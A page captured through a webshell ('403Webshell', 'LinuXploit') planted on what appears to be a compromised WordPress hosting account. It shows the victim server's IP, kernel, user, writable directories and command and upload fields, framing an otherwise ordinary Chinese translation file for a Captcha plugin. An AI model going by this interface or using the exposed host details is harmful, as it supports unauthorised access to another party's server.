403Webshell
Server IP : 172.67.158.161  /  Your IP : 18.188.180.254
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/khowordpress.com/wp-content/plugins/captcha/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/khowordpress.com/wp-content/plugins/captcha/languages/captcha-zh_CN.po
msgid ""
msgstr ""
"Project-Id-Version: captcha\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2017-02-20 15:05+0200\n"
"PO-Revision-Date: 2017-02-20 15:05+0200\n"
"Last-Translator: BestWebSoft team <[email protected]>\n"
"Language-Team: Beijing City Tour <[email protected]>\n"
"Language: zh_CN\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.8.7.1\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-SearchPath-0: .\n"

#: captcha.php:33 captcha.php:420
msgid "Captcha Settings"
msgstr "验证码设置"

#: captcha.php:33
msgid "Captcha"
msgstr "验证码"

#: captcha.php:422
msgid "How to Use Step-by-step Instruction"
msgstr "如何使用分步指导"

#: captcha.php:425 captcha.php:1731 captcha.php:1744
msgid "Settings"
msgstr "设置"

#: captcha.php:426
msgid "This setting is available in Pro version"
msgstr "此设置在Pro版本中可用"

#: captcha.php:426
msgid "Packages"
msgstr "安装包"

#: captcha.php:427
msgid "Whitelist"
msgstr "白名单"

#: captcha.php:428
msgid "Custom code"
msgstr "自定义代码"

#: captcha.php:429
msgid "Go PRO"
msgstr "收费版"

#: captcha.php:477 captcha.php:499
msgid "Package"
msgstr "安装包"

#: captcha.php:480 captcha.php:502
msgid "Date"
msgstr "日期"

#: captcha.php:591 captcha.php:597 captcha.php:613 captcha.php:615
#: captcha.php:624 captcha.php:678 captcha.php:682 captcha.php:691
#: captcha.php:714 captcha.php:724 captcha.php:749 captcha.php:752
#: captcha.php:760
msgid "ERROR"
msgstr "错误"

#: captcha.php:817 captcha.php:823
msgid "Error"
msgstr "错误"

#: captcha.php:817 captcha.php:823
msgid "Click the BACK button on your browser, and try again."
msgstr "点击浏览器上的返回按钮,然后重试。"

#: captcha.php:1043
msgid "In order to pass the CAPTCHA please enable JavaScript"
msgstr "为了通过验证码,请启用JavaScript"

#: captcha.php:1418
msgid "zero"
msgstr "零"

#: captcha.php:1419 includes/settings_page.php:401
msgid "one"
msgstr "一"

#: captcha.php:1420
msgid "two"
msgstr "二"

#: captcha.php:1421
msgid "three"
msgstr "三"

#: captcha.php:1422
msgid "four"
msgstr "四"

#: captcha.php:1423
msgid "five"
msgstr "五"

#: captcha.php:1424 includes/settings_page.php:401
msgid "six"
msgstr "六"

#: captcha.php:1425 includes/settings_page.php:378
#: includes/settings_page.php:386
msgid "seven"
msgstr "七"

#: captcha.php:1426 includes/settings_page.php:382
msgid "eight"
msgstr "八"

#: captcha.php:1427
msgid "nine"
msgstr "九"

#: captcha.php:1429
msgid "ten"
msgstr "十"

#: captcha.php:1430
msgid "eleven"
msgstr "十一"

#: captcha.php:1431
msgid "twelve"
msgstr "十二"

#: captcha.php:1432
msgid "thirteen"
msgstr "十三"

#: captcha.php:1433
msgid "fourteen"
msgstr "十四"

#: captcha.php:1434
msgid "fifteen"
msgstr "十五"

#: captcha.php:1435
msgid "sixteen"
msgstr "十六"

#: captcha.php:1436
msgid "seventeen"
msgstr "十七"

#: captcha.php:1437
msgid "eighteen"
msgstr "十八"

#: captcha.php:1438
msgid "nineteen"
msgstr "十九"

#: captcha.php:1440
msgid "twenty"
msgstr "二十"

#: captcha.php:1441
msgid "twenty one"
msgstr "二十一"

#: captcha.php:1442
msgid "twenty two"
msgstr "二十二"

#: captcha.php:1443
msgid "twenty three"
msgstr "二十三"

#: captcha.php:1444
msgid "twenty four"
msgstr "二十四"

#: captcha.php:1445
msgid "twenty five"
msgstr "二十五"

#: captcha.php:1446
msgid "twenty six"
msgstr "二十六"

#: captcha.php:1447
msgid "twenty seven"
msgstr "二十七"

#: captcha.php:1448
msgid "twenty eight"
msgstr "二十八"

#: captcha.php:1449
msgid "twenty nine"
msgstr "二十九"

#: captcha.php:1451
msgid "thirty"
msgstr "三时"

#: captcha.php:1452
msgid "thirty one"
msgstr "三十一"

#: captcha.php:1453
msgid "thirty two"
msgstr "三十二"

#: captcha.php:1454
msgid "thirty three"
msgstr "三十三"

#: captcha.php:1455
msgid "thirty four"
msgstr "三十四"

#: captcha.php:1456
msgid "thirty five"
msgstr "三十五"

#: captcha.php:1457
msgid "thirty six"
msgstr "三十六"

#: captcha.php:1458
msgid "thirty seven"
msgstr "三十七"

#: captcha.php:1459
msgid "thirty eight"
msgstr "三十八"

#: captcha.php:1460
msgid "thirty nine"
msgstr "三十九"

#: captcha.php:1462
msgid "forty"
msgstr "四十"

#: captcha.php:1463
msgid "forty one"
msgstr "四十一"

#: captcha.php:1464
msgid "forty two"
msgstr "四十二"

#: captcha.php:1465
msgid "forty three"
msgstr "四十三"

#: captcha.php:1466
msgid "forty four"
msgstr "四十四"

#: captcha.php:1467
msgid "forty five"
msgstr "四十五"

#: captcha.php:1468
msgid "forty six"
msgstr "四十六"

#: captcha.php:1469
msgid "forty seven"
msgstr "四十七"

#: captcha.php:1470
msgid "forty eight"
msgstr "四十八"

#: captcha.php:1471
msgid "forty nine"
msgstr "四十九"

#: captcha.php:1473
msgid "fifty"
msgstr "五十"

#: captcha.php:1474
msgid "fifty one"
msgstr "五十一"

#: captcha.php:1475
msgid "fifty two"
msgstr "五十二"

#: captcha.php:1476
msgid "fifty three"
msgstr "五十三"

#: captcha.php:1477
msgid "fifty four"
msgstr "五十四"

#: captcha.php:1478
msgid "fifty five"
msgstr "五十五"

#: captcha.php:1479
msgid "fifty six"
msgstr "五十六"

#: captcha.php:1480
msgid "fifty seven"
msgstr "五十七"

#: captcha.php:1481
msgid "fifty eight"
msgstr "五十八"

#: captcha.php:1482
msgid "fifty nine"
msgstr "五十九"

#: captcha.php:1484
msgid "sixty"
msgstr "六十"

#: captcha.php:1485
msgid "sixty one"
msgstr "六十一"

#: captcha.php:1486
msgid "sixty two"
msgstr "六十二"

#: captcha.php:1487
msgid "sixty three"
msgstr "六十三"

#: captcha.php:1488
msgid "sixty four"
msgstr "六十四"

#: captcha.php:1489
msgid "sixty five"
msgstr "六十五"

#: captcha.php:1490
msgid "sixty six"
msgstr "六十六"

#: captcha.php:1491
msgid "sixty seven"
msgstr "六十七"

#: captcha.php:1492
msgid "sixty eight"
msgstr "六十八"

#: captcha.php:1493
msgid "sixty nine"
msgstr "六十九"

#: captcha.php:1495
msgid "seventy"
msgstr "七十"

#: captcha.php:1496
msgid "seventy one"
msgstr "七十一"

#: captcha.php:1497
msgid "seventy two"
msgstr "七十二"

#: captcha.php:1498
msgid "seventy three"
msgstr "七十三"

#: captcha.php:1499
msgid "seventy four"
msgstr "七十四"

#: captcha.php:1500
msgid "seventy five"
msgstr "七十五"

#: captcha.php:1501
msgid "seventy six"
msgstr "七十六"

#: captcha.php:1502
msgid "seventy seven"
msgstr "七十七"

#: captcha.php:1503
msgid "seventy eight"
msgstr "七十八"

#: captcha.php:1504
msgid "seventy nine"
msgstr "七十九"

#: captcha.php:1506
msgid "eighty"
msgstr "八十"

#: captcha.php:1507
msgid "eighty one"
msgstr "八十一"

#: captcha.php:1508
msgid "eighty two"
msgstr "八十二"

#: captcha.php:1509
msgid "eighty three"
msgstr "八十三"

#: captcha.php:1510
msgid "eighty four"
msgstr "八十四"

#: captcha.php:1511
msgid "eighty five"
msgstr "八十五"

#: captcha.php:1512
msgid "eighty six"
msgstr "八十六"

#: captcha.php:1513
msgid "eighty seven"
msgstr "八十七"

#: captcha.php:1514
msgid "eighty eight"
msgstr "八十八"

#: captcha.php:1515
msgid "eighty nine"
msgstr "八十九"

#: captcha.php:1517
msgid "ninety"
msgstr "九十"

#: captcha.php:1518
msgid "ninety one"
msgstr "九十一"

#: captcha.php:1519
msgid "ninety two"
msgstr "九十二"

#: captcha.php:1520
msgid "ninety three"
msgstr "九十三"

#: captcha.php:1521
msgid "ninety four"
msgstr "九十四"

#: captcha.php:1522
msgid "ninety five"
msgstr "九十五"

#: captcha.php:1523
msgid "ninety six"
msgstr "九十六"

#: captcha.php:1524
msgid "ninety seven"
msgstr "九十七"

#: captcha.php:1525
msgid "ninety eight"
msgstr "九十八"

#: captcha.php:1526
msgid "ninety nine"
msgstr "九十九"

#: captcha.php:1591
msgid "Encryption password is not set"
msgstr "未设置加密密码"

#: captcha.php:1612
msgid "Decryption password is not set"
msgstr "未设置解密密码"

#: captcha.php:1745
msgid "FAQ"
msgstr "常见问题"

#: captcha.php:1746
msgid "Support"
msgstr "支持"

#: captcha.php:1787
msgid "settings page"
msgstr "设置页面"

#: captcha.php:1790
#, php-format
msgid ""
"You're using W3 Total Cache plugin. If %1$s doesn't work properly, please "
"clear the cache in W3 Total Cache plugin and turn on '%2$s' option on the "
"plugin %3$s."
msgstr ""
"如果您在使用W3 Total Cache插件。则遇到%1$s无法正常工作,请清除W3 Total Cache"
"插件中的缓存,并打开插件%3$s上的'%2$s'选项。"

#: captcha.php:1792 includes/settings_page.php:445
msgid "Show CAPTCHA after the end of the page loading"
msgstr "在页面加载结束后显示验证码"

#: captcha.php:1943
msgid "Warning"
msgstr "警告"

#: captcha.php:1947
msgid "plugin contains deprecated functionality that will be removed"
msgstr "插件包含将被删除的已弃用功能"

#: captcha.php:1948
msgid "in the future"
msgstr "在将来"

#: captcha.php:1948
msgid "after"
msgstr "之后"

#: captcha.php:1951
msgid "has old version"
msgstr "有旧版本"

#: captcha.php:1954
msgid "has compatibility problems with"
msgstr "有兼容性问题"

#: captcha.php:1961
msgid "You need to update this plugin for correct work with"
msgstr "您需要更新此插件以正确工作"

#: includes/helpers.php:31
msgid "Please enter a CAPTCHA value."
msgstr "请输入正确的验证码"

#: includes/helpers.php:32
msgid "Please enter a valid CAPTCHA value."
msgstr "请输入正确的验证码"

#: includes/helpers.php:33
msgid "Time limit is exhausted. Please enter a CAPTCHA value again."
msgstr "请输入正确的验证码"

#: includes/helpers.php:34
msgid "Time limit is exhausted. Please reload the CAPTCHA."
msgstr "请输入正确的验证码"

#: includes/helpers.php:35
msgid "You are in the whitelist."
msgstr "您在白名单中。"

#: includes/package_loader.php:43
msgid ""
"Can not load images in to the \"uploads\" folder. Please, check your "
"permissions"
msgstr "无法将图片加载到\"uploads\"文件夹中。请检查您的权限"

#: includes/package_loader.php:73 includes/pro_banners.php:58
msgid "If the package already exists"
msgstr "如果安装包已经存在"

#: includes/package_loader.php:78 includes/pro_banners.php:60
msgid "Skip it"
msgstr "跳过它"

#: includes/package_loader.php:82 includes/pro_banners.php:61
msgid "Update the existed one"
msgstr "更新现有的"

#: includes/package_loader.php:86 includes/pro_banners.php:62
msgid "Save it as new"
msgstr "将其另存为新"

#: includes/package_loader.php:91 includes/pro_banners.php:65
msgid "Install Now"
msgstr "现在安装"

#: includes/package_loader.php:93 includes/pro_banners.php:66
msgid "Browse packages"
msgstr "浏览安装包"

#: includes/package_loader.php:131
msgid "Error during package uploading"
msgstr "在上传安装包时出错"

#: includes/package_loader.php:143
msgid "check your archive"
msgstr "检查您的存档"

#: includes/package_loader.php:145
msgid "file format should be ZIP-archive"
msgstr "文件格式应为ZIP压缩文件"

#: includes/package_loader.php:147
msgid "file size should not exceed"
msgstr "文件大小不能超过"

#: includes/package_loader.php:158
msgid "it is impossible to upload the archive to the server"
msgstr "无法将存档上传到服务器"

#: includes/package_loader.php:170
msgid "archive can not be unzipped"
msgstr "存档无法解压缩"

#: includes/package_loader.php:183
msgid "MB"
msgstr "MB"

#: includes/package_loader.php:185
msgid "KB"
msgstr "KB"

#: includes/package_loader.php:187
msgid "Bytes"
msgstr "字节"

#: includes/package_loader.php:242
#, php-format
msgid "One package has been updated or added to the database"
msgid_plural "%s packages have been updated or added to the database"
msgstr[0] "一个安装包已更新或添加到数据库"
msgstr[1] "%s安装包已更新或添加到数据库"

#: includes/package_loader.php:243
#, php-format
msgid "One image has been updated or added to the database"
msgid_plural "%s images have been updated or added to the database"
msgstr[0] "一个图像包已更新或添加到数据库"
msgstr[1] "%s个图像包已更新或添加到数据库"

#: includes/package_loader.php:351
msgid "Archive is empty"
msgstr "存档为空"

#: includes/package_loader.php:699
#, php-format
msgid ""
"Some settings of the package %s were set incorrectly. They have been skipped"
msgstr "安装包%s的某些设置不正确。已被跳过"

#: includes/package_loader.php:702
msgid "Wrong data"
msgstr "数据错误"

#: includes/pro_banners.php:17
msgid "This options is available in Pro version of plugin"
msgstr "此选项在插件的Pro版本中可用"

#: includes/pro_banners.php:20
msgid "Close"
msgstr "关闭"

#: includes/pro_banners.php:26
msgid "Upgrade to Pro"
msgstr ""

#: includes/pro_banners.php:37
msgid "Reason"
msgstr "原因"

#: includes/pro_banners.php:39
msgid "Allowed formats"
msgstr "允许的格式"

#: includes/pro_banners.php:40
msgid "Allowed separators for IPs: a comma"
msgstr "IP的允许分隔符:逗号"

#: includes/pro_banners.php:40 includes/pro_banners.php:41
msgid "semicolon"
msgstr "分号"

#: includes/pro_banners.php:40
msgid "ordinary space, tab, new line or carriage return"
msgstr "普通空格,制表符,换行符或回车符"

#: includes/pro_banners.php:41
msgid "Allowed separators for reasons: a comma"
msgstr "允许的分隔符:逗号"

#: includes/pro_banners.php:41
msgid "tab, new line or carriage return"
msgstr "标签,换行符或回车符"

#: includes/pro_banners.php:82 includes/pro_banners.php:143
msgid "Use general settings"
msgstr "使用常规设置"

#: includes/pro_banners.php:86 includes/pro_banners.php:147
#: includes/settings_page.php:425
msgid "Use image packages"
msgstr "使用图像包"

#: includes/pro_banners.php:112 includes/pro_banners.php:173
#: includes/settings_page.php:532
msgid "Enable time limit"
msgstr "启用时间限制"

#: includes/pro_banners.php:116 includes/pro_banners.php:177
#: includes/settings_page.php:537
msgid "for"
msgstr "对于"

#: includes/pro_banners.php:118 includes/pro_banners.php:179
msgid "seconds"
msgstr "秒"

#: includes/pro_banners.php:135 includes/settings_page.php:665
msgid "Enable"
msgstr "启用"

#: includes/pro_banners.php:139 includes/settings_page.php:666
msgid "Hide from registered users"
msgstr "从注册用户隐藏"

#: includes/pro_banners.php:195
msgid "Use several image packages at the same time"
msgstr "使用多种图像包在同一时间"

#: includes/settings_page.php:46
msgid "General Options"
msgstr "基本设置"

#: includes/settings_page.php:47
msgid "WordPress Login form"
msgstr "WP-登录表单"

#: includes/settings_page.php:48
msgid "WordPress Registration form"
msgstr "WP-注册表单"

#: includes/settings_page.php:49
msgid "WordPress Reset Password form"
msgstr "WP-重置密码表单"

#: includes/settings_page.php:50
msgid "WordPress Comments form"
msgstr "WP-评论表单"

#: includes/settings_page.php:89
msgid "Buddypress Registration form"
msgstr "BP-注册表单"

#: includes/settings_page.php:90
msgid "Buddypress Comments form"
msgstr "BP-评论表单"

#: includes/settings_page.php:91
msgid "Buddypress \"Create a Group\" form"
msgstr "BP-\"创建组\"表单"

#: includes/settings_page.php:92
msgid "WooCommerce Login form"
msgstr "WC-登陆表单"

#: includes/settings_page.php:93
msgid "WooCommerce Register form"
msgstr "WC-注册表单"

#: includes/settings_page.php:94
msgid "WooCommerce Lost Password form"
msgstr "WC-丢失密码表单"

#: includes/settings_page.php:95
msgid "WooCommerce Checkout Billing form"
msgstr "WooCommerce结帐结算表单"

#: includes/settings_page.php:145
msgid "All plugin settings were restored."
msgstr "已还原所有插件设置."

#: includes/settings_page.php:171
msgid "Save Changes"
msgstr "保存更改"

#: includes/settings_page.php:199 includes/settings_page.php:367
#: includes/settings_page.php:374
msgid "Arithmetic actions"
msgstr "算术操作"

#: includes/settings_page.php:200 includes/settings_page.php:393
msgid "Complexity"
msgstr "复杂性"

#: includes/settings_page.php:209
#, php-format
msgid "\"%s\" option must not be fully disabled"
msgstr "\"%s\"选项不能完全禁用"

#: includes/settings_page.php:223
msgid "Text fields in the \"Notification messages\" option must not be empty"
msgstr "在\"通知消息\"选项中的文本字段不能为空"

#: includes/settings_page.php:252
msgid ""
"In order to use images in the CAPTCHA, please select at least one of the "
"items in the option \"Use image packages\". The \"Images\" checkbox in "
"\"Complexity\" option has been disabled"
msgstr ""
"要使用验证码中的图像,请至少选择选项\"使用图像包\"中的一个项目。\"复杂性\"选"
"项中的\"图片\"复选框已被禁用"

#: includes/settings_page.php:261
msgid "Settings saved"
msgstr "设置已保存。"

#: includes/settings_page.php:360
msgid "Captcha type"
msgstr ""

#: includes/settings_page.php:363
msgid "Character recognition"
msgstr ""

#: includes/settings_page.php:377
msgid "Plus"
msgstr "加法"

#: includes/settings_page.php:381
msgid "Minus"
msgstr "减法"

#: includes/settings_page.php:385
msgid "Multiplication"
msgstr "乘法"

#: includes/settings_page.php:396
msgid "Numbers"
msgstr "数字"

#: includes/settings_page.php:400
msgid "Words"
msgstr "单词"

#: includes/settings_page.php:404
msgid "Images"
msgstr "图像"

#: includes/settings_page.php:418
msgid "Images count"
msgstr ""

#: includes/settings_page.php:431
msgid "Enlarge images on mouseover"
msgstr "鼠标悬停放大图片"

#: includes/settings_page.php:436
msgid "Show reload button"
msgstr "显示重新加载按钮"

#: includes/settings_page.php:439
msgid "CAPTCHA title"
msgstr "验证码标题"

#: includes/settings_page.php:442
msgid "Required symbol"
msgstr "必填符号"

#: includes/settings_page.php:446
#, php-format
msgid ""
"With this option the CAPTCHA will be generated via %s into the form after "
"the end of the page loading. In this case, the most of spam bots can't "
"figure out the answer to the CAPTCHA automatically because they just can't "
"get the CAPTCHA content"
msgstr ""
"使用此选项,在页面加载结束后,验证码将通过%s生成到表单中。在这种情况下,大多"
"数垃圾邮件机器人无法自动找出验证码的答案,因为他们只是无法获得验证码内容"

#: includes/settings_page.php:538
msgid "second"
msgid_plural "seconds"
msgstr[0] "第二"
msgstr[1] "第二"

#: includes/settings_page.php:572
msgid "If the CAPTCHA field is empty"
msgstr "如果验证码字段为空"

#: includes/settings_page.php:573
msgid "If the CAPTCHA is incorrect"
msgstr "如果验证码不正确"

#: includes/settings_page.php:574
msgid "If the time limit is exhausted"
msgstr "如果时间限制已用尽"

#: includes/settings_page.php:577
msgid ""
"If the time limit is exhausted (this message will be displayed above the "
"CAPTCHA)"
msgstr "请输入正确的验证码"

#: includes/settings_page.php:578
msgid ""
"If the user IP is added to the whitelist (this message will be displayed "
"instead of the CAPTCHA)"
msgstr "如果用户IP被添加到白名单(将显示此消息,而不是验证码)"

#: includes/settings_page.php:583
msgid "Errors"
msgstr "错误提示"

#: includes/settings_page.php:584
msgid ""
"These messages will be displayed if the CAPTCHA answer has not passed the "
"verification"
msgstr "如果验证码回答未通过验证,则将显示这些消息"

#: includes/settings_page.php:587
msgid "Info"
msgstr "信息提示"

#: includes/settings_page.php:588
msgid "These messages will be displayed inside of the CAPTCHA"
msgstr "请输入正确的验证码"

#: includes/settings_page.php:593
msgid "Notification messages"
msgstr "通知消息"

#: includes/settings_page.php:632
msgid "update"
msgstr "更新"

#: includes/settings_page.php:633
msgid "to the current version"
msgstr "到当前版本"

#: includes/settings_page.php:640
msgid "install"
msgstr "安装"

#: includes/settings_page.php:645 includes/whitelist.php:445
msgid "activate"
msgstr "激活"

#: includes/settings_page.php:654
msgid "You should"
msgstr "你应该"

#: includes/settings_page.php:657
msgid "to use this functionality"
msgstr "以使用此功能"

#: includes/settings_page.php:687
msgid "This option is available only for network or for main blog"
msgstr "此选项仅适用于网络或主博客"

#: includes/settings_page.php:699
msgid "Check off for adding the CAPTCHA to forms on their settings pages"
msgstr "勾选关闭以将验证码添加到其设置页面上的表单"

#: includes/settings_page.php:795
msgid ""
"The image packages list is empty. Please restore default settings or re-"
"install the plugin to fix this error"
msgstr "图像安装包列表是空的。请恢复默认设置或重新安装插件以修复此错误"

#: includes/whitelist.php:74
msgid "For IP addresses from the whitelist CAPTCHA will not be displayed"
msgstr "对于来自白名单验证码的IP地址,将不会显示"

#: includes/whitelist.php:84
#, php-format
msgid ""
"With this option, CAPTCHA will not be displayed for IP-addresses from the "
"whitelist of %s"
msgstr "使用此选项,将不会显示来自%s白名单中的IP地址的验证码"

#: includes/whitelist.php:93 includes/whitelist.php:127
msgid "Add IP to whitelist"
msgstr "将IP添加到白名单"

#: includes/whitelist.php:96
msgid "Load IP to the whitelist"
msgstr "加载IP到白名单"

#: includes/whitelist.php:98
#, php-format
msgid ""
"By click on this button, all IP-addresses from the whitelist of %s will be "
"loaded to the whitelist of %s"
msgstr "通过单击此按钮,来自%s白名单的所有IP地址将被加载到%s的白名单"

#: includes/whitelist.php:106
msgid "Save changes"
msgstr "保存更改"

#: includes/whitelist.php:123
msgid "My IP"
msgstr "我的IP"

#: includes/whitelist.php:131
msgid "Allowed formats:"
msgstr "允许的格式:"

#: includes/whitelist.php:132
msgid "Allowed diapason:"
msgstr "允许的均衡:"

#: includes/whitelist.php:138
msgid "Search IP"
msgstr "搜索IP"

#: includes/whitelist.php:195
msgid "Nothing found"
msgstr "什么都没找到"

#: includes/whitelist.php:195
msgid "No IP in the whitelist"
msgstr "白名单中没有IP"

#: includes/whitelist.php:202
msgid "IP address"
msgstr "IP地址"

#: includes/whitelist.php:203
msgid "Date added"
msgstr "添加日期"

#: includes/whitelist.php:257 includes/whitelist.php:266
msgid "Remove from the whitelist"
msgstr "从白名单中移除"

#: includes/whitelist.php:351
msgid "IP added to the whitelist successfully"
msgstr "IP已成功添加到白名单"

#: includes/whitelist.php:353 includes/whitelist.php:375
#: includes/whitelist.php:387
msgid "Some errors occured"
msgstr "发生了一些错误"

#: includes/whitelist.php:355
msgid "IP is already in the whitelist"
msgstr "IP已在白名单中"

#: includes/whitelist.php:358
msgid "Invalid IP. See allowed formats"
msgstr "IP无效。查看允许的格式"

#: includes/whitelist.php:369
#, php-format
msgid "%s IP was deleted successfully"
msgid_plural "%s IPs were deleted successfully"
msgstr[0] "%s IP已成功删除"
msgstr[1] "%s IP已成功删除"

#: includes/whitelist.php:381
msgid "One IP was deleted successfully"
msgstr "一个IP已成功删除"

#: includes/whitelist.php:390
msgid "You have not entered any value"
msgstr "您尚未输入任何值"

#: includes/whitelist.php:393
msgid "You have not entered any value in to the search form"
msgstr "您尚未在搜索表单中输入任何值"

#: includes/whitelist.php:395
msgid "Search results for"
msgstr "的搜索结果"

#: includes/whitelist.php:409
msgid "IP-address(es) successfully copied to the whitelist"
msgstr "IP地址已成功复制到白名单"

#: includes/whitelist.php:436
msgid "use"
msgstr "用户"

#: includes/whitelist.php:436
msgid "the whitelist of"
msgstr "白名单"

#: includes/whitelist.php:444 includes/whitelist.php:452
#, php-format
msgid "use the whitelist of %s"
msgstr "使用%s的白名单"

#: includes/whitelist.php:445
#, php-format
msgid "you should %s to use this functionality"
msgstr "您应该%s使用此功能"

#: includes/whitelist.php:453
#, php-format
msgid "you should install %s to use this functionality"
msgstr "您应该安装%s以使用此功能"

#~ msgid "instruction"
#~ msgstr "指令"

#~ msgid ""
#~ "Functions from the %1s plugin are used on your site. These functions are "
#~ "deprecated ( %2s ) since version %4s. Please replace them according to "
#~ "the %3s. If you close this message it will appear in case if deprecated "
#~ "function would be called again only"
#~ msgstr ""
#~ "来自%1s插件的函数在您的网站上使用。自版本%4s起,这些函数已被弃用(%2s)。 "
#~ "请根据%3s更换它们。如果关闭此消息,它将出现,如果不再使用的函数将只会再次"
#~ "调用"

#~ msgid "some call functions for the \"%s\" filter hook"
#~ msgstr "一些调用函数为\"%s\"过滤器挂钩"

#~ msgid "Enable the CAPTCHA for"
#~ msgstr "启用验证码"

#~ msgid "Unlock premium options by upgrading to Pro version"
#~ msgstr "升级到Pro版本即可解锁高级选项"

#~ msgid "Learn More"
#~ msgstr "了解详情"

#~ msgid "Registration form"
#~ msgstr "注册表单"

#~ msgid "Comments form"
#~ msgstr "评论"

#~ msgid "Plus (&#43;)"
#~ msgstr "加 (&#43;)"

#~ msgid "Minus (&minus;)"
#~ msgstr "减 (&minus;)"

#~ msgid "Multiply"
#~ msgstr "乘 (&times;)"

#~ msgid ""
#~ "Please select one item in the block Arithmetic and Complexity for CAPTCHA"
#~ msgstr "请选择一组数学运算操作和验证问答难度"

#, fuzzy
#~ msgid "Please select one item in the block Enable image packages"
#~ msgstr "请选择一组数学运算操作和验证问答难度"

#, fuzzy
#~ msgid "Plugins"
#~ msgstr "插件页面"

#~ msgid "If you would like to add Captcha to a custom form, please see"
#~ msgstr ""
#~ "如果您想定制这个插件,请联系<a href=\"Mailto:[email protected]"
#~ "\">[email protected]</a>,或在我们的网站填写联系信息"

#, fuzzy
#~ msgid "Hide CAPTCHA"
#~ msgstr "对以下内容开启验证问答:"

#~ msgid "Arithmetic actions for CAPTCHA"
#~ msgstr "验证问答的数学操作"

#~ msgid "If you upgrade to Pro version all your settings will be saved."
#~ msgstr "如果升级到付费版本,所有设置都会保存"

#~ msgid "and"
#~ msgstr "和"

#~ msgid "Notice:"
#~ msgstr "注意:"

#~ msgid ""
#~ "The plugin's settings have been changed. In order to save them please "
#~ "don't forget to click the 'Save Changes' button."
#~ msgstr "插件设置已更改。如果要保存更改,别忘了点击 '保存更改' 按钮."

#~ msgid "Title for CAPTCHA in the form"
#~ msgstr "验证问答表单的标签"

#~ msgid "Activate contact form"
#~ msgstr "激活插件Contact Form"

#~ msgid "Download contact form"
#~ msgstr "下载插件Contact Form"

#~ msgid "Go"
#~ msgstr "确认"

#~ msgid "requires"
#~ msgstr "要求"

#~ msgid ""
#~ "or higher, that is why it has been deactivated! Please upgrade WordPress "
#~ "and try again."
#~ msgstr "或者更高版本,因此插件被禁用!请升级wordpress然后再次尝试"

#~ msgid "Back to the WordPress"
#~ msgstr "回到wordpress页面"

#~ msgid "Wrong license key"
#~ msgstr "验证码不正确"

#~ msgid ""
#~ "Something went wrong. Try again later. If the error will appear again, "
#~ "please, contact us <a href=https://support.bestwebsoft.com>BestWebSoft</"
#~ "a>. We are sorry for inconvenience."
#~ msgstr ""
#~ "出现问题,请稍后尝试. 如果一再出现错误,请联系我们<a href=http://support."
#~ "bestwebsoft.com>BestWebSoft</a>. 抱歉给您带来的不便"

#~ msgid "This license key is bind to another site"
#~ msgstr "这个license key对应另外一个网站"

#~ msgid ""
#~ "Unfortunately, you have exceeded the number of available tries per day. "
#~ "Please, upload the plugin manually."
#~ msgstr "很遗憾,你已达每日尝试次数上限,请手动上传插件"

#~ msgid ""
#~ "Failed to download the zip archive. Please, upload the plugin manually"
#~ msgstr "下载zip文件失败,请手动上传插件"

#~ msgid "Failed to open the zip archive. Please, upload the plugin manually"
#~ msgstr "打开zip文件失败,请手动上传"

#~ msgid ""
#~ "Your server does not support either ZipArchive or Phar. Please, upload "
#~ "the plugin manually"
#~ msgstr "你的系统不支持 ZipArchive或Phar文件,请手动上传!"

#, fuzzy
#~ msgid "UploadDir is not writable. Please, upload the plugin manually"
#~ msgstr "打开zip文件失败,请手动上传"

#~ msgid ""
#~ "Something went wrong. Try again later or upload the plugin manually. We "
#~ "are sorry for inconvenience."
#~ msgstr "出现错误,请稍后尝试或者手动上传插件。抱歉给您带来的不便"

#~ msgid "Please, enter Your license key"
#~ msgstr "请输入你的license key"

#~ msgid "Contact form"
#~ msgstr "联系"

#~ msgid "powered by"
#~ msgstr "驱动于"

#~ msgid "Subscriber"
#~ msgstr "订阅"

#~ msgid "If you enjoy our plugin, please give it 5 stars on WordPress"
#~ msgstr "如果你喜欢这个插件,请在wordpress网站上给我们好评哦"

#~ msgid "Rate the plugin"
#~ msgstr "评价插件"

#~ msgid "If there is something wrong about it, please contact us"
#~ msgstr "如果发现错误,请联系我们"

#~ msgid ""
#~ "Congratulations! The PRO version of the plugin is successfully download "
#~ "and activated."
#~ msgstr "恭喜!付费版本已成功下载并激活。"

#~ msgid "Please, go to"
#~ msgstr "请前往"

#~ msgid "You will be redirected automatically in 5 seconds."
#~ msgstr "5秒后将会自动跳转"

#~ msgid "You can download and activate"
#~ msgstr "你可以下载和启用"

#~ msgid "version of this plugin by entering Your license key."
#~ msgstr "版本,请先输入你的license key"

#~ msgid ""
#~ "You can find your license key on your personal page Client area, by "
#~ "clicking on the link"
#~ msgstr "你可以在用户中心(Client area)找到你的license key"

#~ msgid ""
#~ "(your username is the email you specify when purchasing the product)."
#~ msgstr "(用户名为购买时填写的邮箱地址)"

#~ msgid "Go!"
#~ msgstr "确认!"

#, fuzzy
#~ msgid "ERROR:"
#~ msgstr "错误"

#~ msgid ""
#~ "It's time to upgrade your <strong>Captcha plugin</strong> to <strong>PRO</"
#~ "strong> version"
#~ msgstr "升级Captcha插件至<strong>付费</strong>版本"

#~ msgid "Extend standard plugin functionality with new great options"
#~ msgstr "通过更多设置选项扩展插件功能"

Youez - 2016 - github.com/yon3zu
LinuXploit